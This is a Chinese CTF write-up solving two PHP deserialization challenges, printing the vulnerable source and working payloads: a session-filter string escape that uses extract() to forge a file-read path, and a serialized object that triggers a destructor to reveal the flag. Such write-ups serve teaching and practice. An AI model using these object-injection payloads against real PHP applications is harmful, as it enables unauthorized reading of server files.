关于序列化与反序列化解题

1、[安洵杯 2019]easy_serialize_php

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

implode函数的作用是:将$filter_arr这个数组合并为一个字符串,并以|分割开来;所以这个正则表达式是preg_replace(/php|flag|php5|php4|f1lg/i,'',$img);并用filter()函数过滤

implode() 函数

定义和用法

implode() 函数返回一个由数组元素组合成的字符串。

注释:implode() 函数接受两种参数顺序。但是由于历史原因,explode() 是不行的,您必须保证 separator 参数在 string 参数之前才行。

注释:implode() 函数的 separator 参数是可选的。但是为了向后兼容,推荐您使用使用两个参数。

注释:该函数是二进制安全的

语法

implode(separator,array)

参数 描述
separator 可选。规定数组元素之间放置的内容。默认是 ""(空字符串)。
array 必需。要组合为字符串的数组。

unset() 函数

unset() 函数用于销毁给定的变量。

语法

void unset ( mixed $var [, mixed $... ] )

参数说明:

  • $var: 要销毁的变量。

返回值

没有返回值。

继续分析代码,如果存在$_SESSION,就把它删除,然后为$_SESSION中的属性进行赋值。extract()函数会将你post传入的参数和值形成一个键值对:如:POST方法传入一个/?_SESSION[user]=flag,他会给你变为$_SESSION["user"]='flag',

extract() 函数

定义和用法

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

语法

extract(array,extract_rules,prefix)

参数 描述
array 必需。规定要使用的数组。
extract_rules

可选。extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。

可能的值:

  • EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
  • EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
  • EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
  • EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
  • EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
  • EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
  • EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
  • EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
prefix 可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。

该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。


接下来用if语句判断是否给$function传参,如果没有则会返回index.php?f=highlight_file这个界面;如果给img_path不传参数,他会将guest_img.png进行base64编码后赋值给img这个键,如果传参数,会将你传的值进行base64编码后在进行sha1赋值给img,将session数组序列化后进行过滤。

提示说可以在phpinfo() 中查看,尝试查看里面的内容。输入f=phpinfo,查找到一个可能有关的条件。

这是一个反序列化题目,最后一句代码echo file_get_contents(base64_decode($userinfo['img']));中说要输出base64编码且反序列化后的对象,因此要考虑怎样将d0g3_f1ag.php放到里面输出。当f=show_image是可以读文件的,只要$userinfo['img']是相应的flag.php的base64加密

首先,为了输出想要的数据,要在里面放入d0g3_f1ag.php

又因为userinfo是由serialize_info反序列化得来的 所以想到这里应该将d0g3_f1ag.php进行base64编码得到:

ZDBnM19mMWFnLnBocA==

serialize_info又是由$_SESSION这个数组经过序列化编码,再进行过滤得来

因此我们现在的目标就是如何让序列化后且过滤后的字符串img的值为ZDBnM19mMWFnLnBocA==,这里就需要用到源代码中的覆盖函数extract() 函数,参考一下其他wp:[安洵杯 2019]easy_serialize_php (对象逃逸)-CSDN博客

这题过滤会把匹配到的变为空字符串,如果我们构造一个user=flag,过滤后变为空,现在就多出4个字符,因为";s:8:“function”;s:xx:“a为24个字符(两个x表示function长度为两位数),所以我们user要6个flag,
且[function]=a”;s:8:“function”;s:5:“abcde”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}

过滤前
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

过滤后
a:2:{s:7:"【";s:48:】";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
下面的步骤和值替换一样

构造payload:

f=show_image

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

得到/d0g3_fllllllag,发现将其base64编码后也是20位,进行替换后得到flag

f=show_image

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

2、[SWPUCTF 2021 新生赛]ez_unserialize

查看源码后得到一个disallow,考虑扫描

扫出来两个目录,尝试查看里面的内容。

只能打开robots.txt,在里面发现了一个新的php文件。

 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?> 

目标是输出flag,因此一定要触发_destruct()函数,这个是析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。(实例化对象结束后会被销毁,也会触发析构函数),我认为它的执行条件相当于要先有实例化,也就是执行_construct()。$this->admin === "admin" && $this->passwd === "ctf"是输出的条件,尝试构造pop链

得到payload:O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

题目中说反序列化的对象是p,所以传入参数值为p。

得到flag

相关推荐

  1. 序列序列

    2024-06-07 15:48:06       47 阅读
  2. Flutter-如何序列序列化为json对象

    2024-06-07 15:48:06       40 阅读
  3. 序列序列xml bin

    2024-06-07 15:48:06       53 阅读
  4. Springboot Jackson 序列序列配置

    2024-06-07 15:48:06       48 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-07 15:48:06       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-07 15:48:06       101 阅读
  3. 在Django里面运行非项目文件

    2024-06-07 15:48:06       82 阅读
  4. Python语言-面向对象

    2024-06-07 15:48:06       91 阅读

热门阅读

  1. git拉取合并分支冲突解决

    2024-06-07 15:48:06       34 阅读
  2. Unity Shader基础知识的入门了解

    2024-06-07 15:48:06       30 阅读
  3. 【Android】解决AndroidStudio无法预览layout.xml的问题

    2024-06-07 15:48:06       28 阅读
  4. 云WAF的负载均衡和流量分发功能

    2024-06-07 15:48:06       33 阅读
  5. Android - RadioGroup中多个radiobutton同时被选中问题

    2024-06-07 15:48:06       29 阅读
  6. CSS -webkit-text-security

    2024-06-07 15:48:06       31 阅读
  7. PDF格式分析(八十五)——水印注释(Watermark)

    2024-06-07 15:48:06       36 阅读
  8. python 第一天

    2024-06-07 15:48:06       30 阅读